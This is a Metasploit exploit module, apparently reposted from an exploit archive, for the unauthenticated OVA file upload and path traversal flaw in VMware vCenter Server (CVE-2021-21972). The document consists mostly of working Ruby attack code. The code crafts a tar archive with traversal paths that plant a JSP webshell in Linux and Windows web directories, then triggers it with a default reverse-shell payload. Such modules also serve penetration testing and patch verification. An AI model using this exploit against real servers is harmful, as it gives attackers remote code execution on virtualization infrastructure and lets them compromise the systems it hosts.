VMware vCenter Server File Upload / Remote Code Execution

This Metasploit module exploits an unauthenticated OVA file upload and path traversal in VMware vCenter Server to write a JSP payload to a web-accessible directory. Fixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c. Note that later vulnerable versions of the Linux appliance aren't exploitable via the webshell technique. Furthermore, writing an SSH public key to /home/vsphere-ui/.ssh/authorized_keys works, but the user's non-existent password expires 90 days after install, rendering the technique nearly useless against production environments. You'll have the best luck targeting older versions of the Linux appliance. The Windows target should work ubiquitously.


MD5 | db7174f0c4fc0e0b2ac2dea0a4523ebf

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

# "Shotgun" approach to writing JSP
Rank = ManualRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::CheckModule
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter Server Unauthenticated OVA File Upload RCE',
'Description' => %q{
This module exploits an unauthenticated OVA file upload and path
traversal in VMware vCenter Server to write a JSP payload to a
web-accessible directory.

Fixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c.
Note that later vulnerable versions of the Linux appliance aren't
exploitable via the webshell technique. Furthermore, writing an SSH
public key to /home/vsphere-ui/.ssh/authorized_keys works, but the
user's non-existent password expires 90 days after install, rendering
the technique nearly useless against production environments.

You'll have the best luck targeting older versions of the Linux
appliance. The Windows target should work ubiquitously.
},
'Author' => [
'Mikhail Klyuchnikov', # Discovery
'wvu', # Analysis and exploit
'mr_me', # Co-conspirator
'Viss' # Co-conspirator
],
'References' => [
['CVE', '2021-21972'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0002.html'],
['URL', 'https://swarm.ptsecurity.com/unauth-rce-vmware/'],
['URL', 'https://twitter.com/jas502n/status/1364810720261496843'],
['URL', 'https://twitter.com/_0xf4n9x_/status/1364905040876503045'],
['URL', 'https://twitter.com/HackingLZ/status/1364636303606886403'],
['URL', 'https://kb.vmware.com/s/article/2143838'],
['URL', 'https://nmap.org/nsedoc/scripts/vmware-version.html']
],
'DisclosureDate' => '2021-02-23', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => ['linux', 'win'],
'Arch' => ARCH_JAVA,
'Privileged' => false, # true on Windows
'Targets' => [
[
# TODO: /home/vsphere-ui/.ssh/authorized_keys
'VMware vCenter Server <= 6.7 Update 1b (Linux)',
{
'Platform' => 'linux'
}
],
[
'VMware vCenter Server <= 6.7 Update 3j (Windows)',
{
'Platform' => 'win'
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'PAYLOAD' => 'java/jsp_shell_reverse_tcp',
'CheckModule' => 'auxiliary/scanner/vmware/esx_fingerprint'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'RelatedModules' => ['auxiliary/scanner/vmware/esx_fingerprint']
}
)
)

register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])

register_advanced_options([
# /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/<index>
OptInt.new('SprayAndPrayMin', [true, 'Deployer index start', 40]), # mr_me
OptInt.new('SprayAndPrayMax', [true, 'Deployer index stop', 41]) # wvu
])
end

def spray_and_pray_min
datastore['SprayAndPrayMin']
end

def spray_and_pray_max
datastore['SprayAndPrayMax']
end

def spray_and_pray_range
(spray_and_pray_min..spray_and_pray_max).to_a
end

def check
# Run auxiliary/scanner/vmware/esx_fingerprint
super

res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/getstatus')
)

unless res
return CheckCode::Unknown('Target did not respond to check.')
end

case res.code
when 200
# {"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
expected_keys = [
'States',
'Install Progress',
'Install Final Progress',
'Config Progress',
'Config Final Progress'
]

if (expected_keys & res.get_json_document.keys) == expected_keys
return CheckCode::Vulnerable('Unauthenticated endpoint access granted.')
end

CheckCode::Detected('Target did not respond with expected keys.')
when 401
CheckCode::Safe('Unauthenticated endpoint access denied.')
else
CheckCode::Detected("Target responded with code #{res.code}.")
end
end

def exploit
upload_ova
pop_thy_shell # ;)
end

def upload_ova
print_status("Uploading OVA file: #{ova_filename}")

multipart_form = Rex::MIME::Message.new
multipart_form.add_part(
generate_ova,
'application/x-tar', # OVA is tar
'binary',
%(form-data; name="uploadFile"; filename="#{ova_filename}")
)

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/uploadova'),
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
)

unless res && res.code == 200 && res.body == 'SUCCESS'
fail_with(Failure::NotVulnerable, 'Failed to upload OVA file')
end

register_files_for_cleanup(*jsp_paths)

print_good('Successfully uploaded OVA file')
end

def pop_thy_shell
jsp_uri =
case target['Platform']
when 'linux'
normalize_uri(target_uri.path, "/ui/resources/#{jsp_filename}")
when 'win'
normalize_uri(target_uri.path, "/statsreport/#{jsp_filename}")
end

print_status("Requesting JSP payload: #{full_uri(jsp_uri)}")

res = send_request_cgi(
'method' => 'GET',
'uri' => jsp_uri
)

unless res && res.code == 200
fail_with(Failure::PayloadFailed, 'Failed to request JSP payload')
end

print_good('Successfully requested JSP payload')
end

def generate_ova
ova_file = StringIO.new

# HACK: Spray JSP in the OVA and pray we get a shell...
Rex::Tar::Writer.new(ova_file) do |tar|
jsp_paths.each do |path|
# /tmp/unicorn_ova_dir/../../<path>
tar.add_file("../..#{path}", 0o644) { |jsp| jsp.write(payload.encoded) }
end
end

ova_file.string
end

def jsp_paths
case target['Platform']
when 'linux'
@jsp_paths ||= spray_and_pray_range.shuffle.map do |idx|
"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/#{idx}/0/h5ngc.war/resources/#{jsp_filename}"
end
when 'win'
# Forward slashes work here
["/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/#{jsp_filename}"]
end
end

def ova_filename
@ova_filename ||= "#{rand_text_alphanumeric(8..42)}.ova"
end

def jsp_filename
@jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"
end

end

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